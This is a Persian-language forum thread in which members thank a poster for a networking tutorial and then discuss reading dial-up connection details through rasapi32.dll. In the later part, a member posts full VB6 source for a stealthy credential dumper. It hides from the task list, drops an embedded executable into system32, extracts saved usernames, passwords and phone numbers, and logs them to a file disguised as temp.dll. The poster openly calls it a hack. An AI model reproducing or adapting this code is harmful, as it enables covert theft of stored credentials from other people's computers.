این آموزش به صورت PDF می باشد
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
Printable View
این آموزش به صورت PDF می باشد
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
16 نفر دانلود کردن یکی شون هم نظر نداده
مرسی
چند وقتی بود دنبالش بودم
راستی اینقدر به فکر این نباش که ایا کسی نظر داده یا نه
سلام دوست عزیز کار بسیار قشنگی انجام دادین من خودم هنوز دانلود نکردم تا 3 روز دیگه دان می کن و بعد نظرم و به شما می گم چون هنوز و تعطیلاتم.
نظرات شما روحیه میده همین
خوبه
زياذ حساس نباشيد همه اونايي كه استفاده مي كنن دعاتون كردن تا حالا
خیلی وقت بود دنبالش میگشتم خیلی خوب بود
چه عجب !!!!!!!!!نقل قول:
عالی بو محسن جان
تا حالا 230 نفر دانلودش کردن اگه هرکی که دانلود میکنه یه نظر هم بده وایی :biggrin: :biggrin: :biggrin:
ممنون خیلی بدردم خورد :blush:
دستت درد نکنه ، ممنون
دستت درد نکنه که باعث شد برنامم خیلی کامل و تکمیل بشه برو جلو آینه و خودت و از طرف من یک ماچ کن(بوس)
میگم من دوستم برام دانلودش کرد ولی حالا پاک شد دوستم هم دسترسی بش ندارم حالا هر چی میخواهم دانلود نمیشه ؟ چه جوریه میشه جای دیگه Upload کنی
بببببببببببخشششششششیییییی ید درست شد هیچی مشکل از مرورگر من بود که کامل نمی ورد و قتی هم دانلود میکردی قطع می شد چون مرورگرم Opera خودش می خواد دانلود کنه که درستش کردم
سلام.
CrazyTux دوست عزیز این جا چت روم نیست. لازم نیست هر اتفاقی برات افتاد تو سایت اعلام کنی.
ضمنا امکان ویرایش که پایین سمت چپ پست هاتون هست برای این گونه مواقعه.
سلام محسن جان
ببخشيد من نميدونم اون فايل، آموزش چه چيزي از شبكه هست، فعلاً هم به عنوان يه تازه كار نيازي به برنامه نويسي شبكه ندارم، اما يكي دو سوال در مورد استفاده از API هاي كتابخانه Rasapi32.dll دارم (براي فهميدن مشخصات يك كانكشن اينترنتي) كه اگه كسي بتونه راهنماييم كنه خيلي ممنون ميشم.
سوالم هم اينه كه:
1- چطور ميشه وقتي يك كانكشن به اينترنت وصل هست مقدار Received Data رو فهميد؟
2- چطور ميشه UserName يك كانكشن رو فهميد؟
يه نمونه كد هم دارم، (كه خودم توي vb2005 نوشتم) اما درست كار نمي كنه. اگه كسي سر در مياره بگذارم.
خيلي ممنون
در مورد سوال اول باید یکم بیشتر توضیح بدی اما برای سوال دوم :
اتفاقا یه برنامه نوشتم که به محض اجرا User Name - password - Tell اشتراک های اینرتنت رو توی یه فایل متنی ذخیره می کنه البته اونایی رو که پسوردشون سیو شده هست تا دو روز دیگه کدشو اینجا آپلود می کنم یکم سرم به امتحانات شلوغه
خيلي خيلي ممنون ميشم اگه بگذاريد.نقل قول:
در مورد سوال اول باید یکم بیشتر توضیح بدی اما برای سوال دوم :
اتفاقا یه برنامه نوشتم که به محض اجرا User Name - password - Tell اشتراک های اینرتنت رو توی یه فایل متنی ذخیره می کنه البته اونایی رو که پسوردشون سیو شده هست تا دو روز دیگه کدشو اینجا آپلود می کنم یکم سرم به امتحانات شلوغه
در مورد سوال اول هم منظورم مقدار Send/Receive يك كانكشن اينترنتي هست. آخه ميدونيد كه بعضي كانكشن ها محدوديت مقدار دانلود دارند. براي همين ميخوام بفهمم چقدر دانلود كرده. ميدونم كه مقدار دانلود، داخل كدوم پارامتر rasapi32.dll ذخيره ميشه اما (الآن اسمش يادم رفته بعداً پيدا مي كنم ميگم) اما نميدونم چطوري اون پارامتر رو مقدارشو فراخواني كنم.
به نظر من از Ocx یا Dll های آماده یا پروژه های آماده برای این کارا استفاده کنی بهتره
چون اونها دیباگ شده هستن و کمتر مشکلی پیش می اد
اما اگه می خوای یاد بگیری بحث فرق می کنه
اگه كامپوننت آماده هم گيرم بياد خوبه. اما فعلاً چيزي سراغ ندارم. اگه بخوام ياد بگيرم، شما يادم ميدي؟ يعني من دونه دونه سوال كنم و شما پاسخ بديد؟ اصلاً شما خودت vb.net داري رو سيستمت؟ من از ورژن 2005 استفاده مي كنم، ولي شما اگه مال 2003 رو هم يادم بدي خودم ميتونم آپگريدش كنم به 2005. حتي اگه vb6 هم باشه فكر كنم بتونم به 2003 آپگريدش كنم.نقل قول:
به نظر من از Ocx یا Dll های آماده یا پروژه های آماده برای این کارا استفاده کنی بهتره
چون اونها دیباگ شده هستن و کمتر مشکلی پیش می اد
اما اگه می خوای یاد بگیری بحث فرق می کنه
در ضمن اگه يه تابع بهم بدي كه UserName كانكشني رو كه باهاش به اينترنت وصل هستيم برام برگردونه خيلي ممنون ميشم چون برنامه ام به خاطر نداشتن اين تابع ناقص مونده. حالا كل نمونه پروژه ات رو هم نخواستي بگذاري عيبي نيست.
خيلي ممنون
دوست عزیز تمام پروژه هایی رو که من می گم توی Visual Basic 6.0 هستش یه وقت سو تفاهم نشه ؟؟
سلامنقل قول:
دوست عزیز تمام پروژه هایی رو که من می گم توی Visual Basic 6.0 هستش یه وقت سو تفاهم نشه ؟؟
من VB6 رو هم روي اون يكي ويندوزم دارم. شما بلدي با توابع rasapi32.dll توي vb6 كار كني؟ ميتوني كم كم بهم ياد بدي؟ البته منظورم اين نيست كه همه چيزو بهم ياد بدي، فقط اگه چند تا سوالمو جواب صريح و روشن بدي خودم راه مي افتم.
اون تابعي رو هم كه براي گرفتن UserName گفتم اگه توي vb6 بهم بدي خيلي ممنون ميشم. خودم ميتونم به 2005 تبديلش كنم.
خيلي ممنون
این پروژه رو داشته باش یه فایل اجرایی بساز وقتی روش کلیک می کنی یوزرنیم پسورد و شماره ی تماس سیستم رو توی یه فایل به اسم Temp.DLL ذخیره می کنه که اگه اونو با Notepad باز کنی می تونی ببینیم
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
محسن عزيز سلام
پروژه جالبي بود. داره دقيقاً كاري رو كه من ميخوام انجام ميده. حتي به vb 2005 هم تبديلش كردم و درست هم كار مي كرد، اما هنوز برام قابل استفاده نيست، چون از طرز كارش كه ظاهراً ساده هم هست، سر در نميارم و تا حالا اين مدل دستورات رو توي وي بي نديده بودم. اگر هم بخوام از خود فايل Temp.dll اطلاعات رو بيرون بكشم مشكل اينجاست كه مشخص نكرده هر UserName مربوط به كدوم كانكشن هست. حالا اگه يه توضيح كوتاه در مورد اون خط هايي كه از دستورات نامفهوم مثل LoadResData و Open و Put استفاده كرده اند بديد خيلي ممنون ميشم.
کد:Private Sub Form_Load()
App.TaskVisible = False 'Hiding from Task in Win 2k-xp
App.Title = ""
Dim b() As Byte
Dim s As String
b = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32" & "\CIAI.exe" For Binary Access Write As #1
Put #1, , b
Close #1
DoEvents
Shell "C:\WINDOWS\system32" & "\CIAI.exe " & "C:\WINDOWS\system32" & "\CIA.txt"
DoEvents
s = String(FileLen("C:\WINDOWS\system32" & "\CIA.txt"), 0)
Open "C:\WINDOWS\system32" & "\CIA.txt" For Binary Access Read As #1
Get #1, , s
Close #1
Text1 = s
Text1 = Replace(Text1, "", "")
Text1 = Replace(Text1, "Wxp-2k Dialup Recovery By : Mohsen6558", "")
Text1 = Replace(Text1, "User Name = ", "U:")
Text1 = Replace(Text1, "Password = ", "P:")
Text1 = Replace(Text1, "Tel Number= ", "T:")
Debug.Print App.Path
mn = FreeFile
'a = InputBox("test", "test")
Open App.Path + "\temp.dll" For Append As #mn
' If a = "" Then a = "No Name"
Print #mn, "-----------------------"
Print #mn, a
Print #mn, Text1
Print #mn, "-----------------------"
Close
Unload Me
End Sub
فکر نکنم نیاز به توضیح داشته باشه
اول می آد یه مسایل امنیتی رو بر قرار می کنه مثلا توی Task manager نشون داده نشه و ....
بعد می آد از مسیر زیر با فایل ارتباط برقرار می کنه :
C:\WINDOWS\system32\CIA.txt"
شاید یه باگش این باشه که اگه ویندوز تو درایو D باشه نتونه کاری نکنه که اونو بعدا حل می کنم
بعد می آد با اون مکاتبه می کنه بعد فایل Temp.dll رو باز می کنه و توش اطلاعات رو می نویسه به همین سادگی !!!
دوست عزیز متاسفانه نشون نمی ده چیکار می کنه در واقع درون ویژوال یه فایل اجرایی Embed شده که اون کار هک رو انجام می ده !!
می تونی از تکست بخونی!!
Thank you very muchنقل قول:
دوست عزیز متاسفانه نشون نمی ده چیکار می کنه در واقع درون ویژوال یه فایل اجرایی Embed شده که اون کار هک رو انجام می ده !!
می تونی از تکست بخونی!!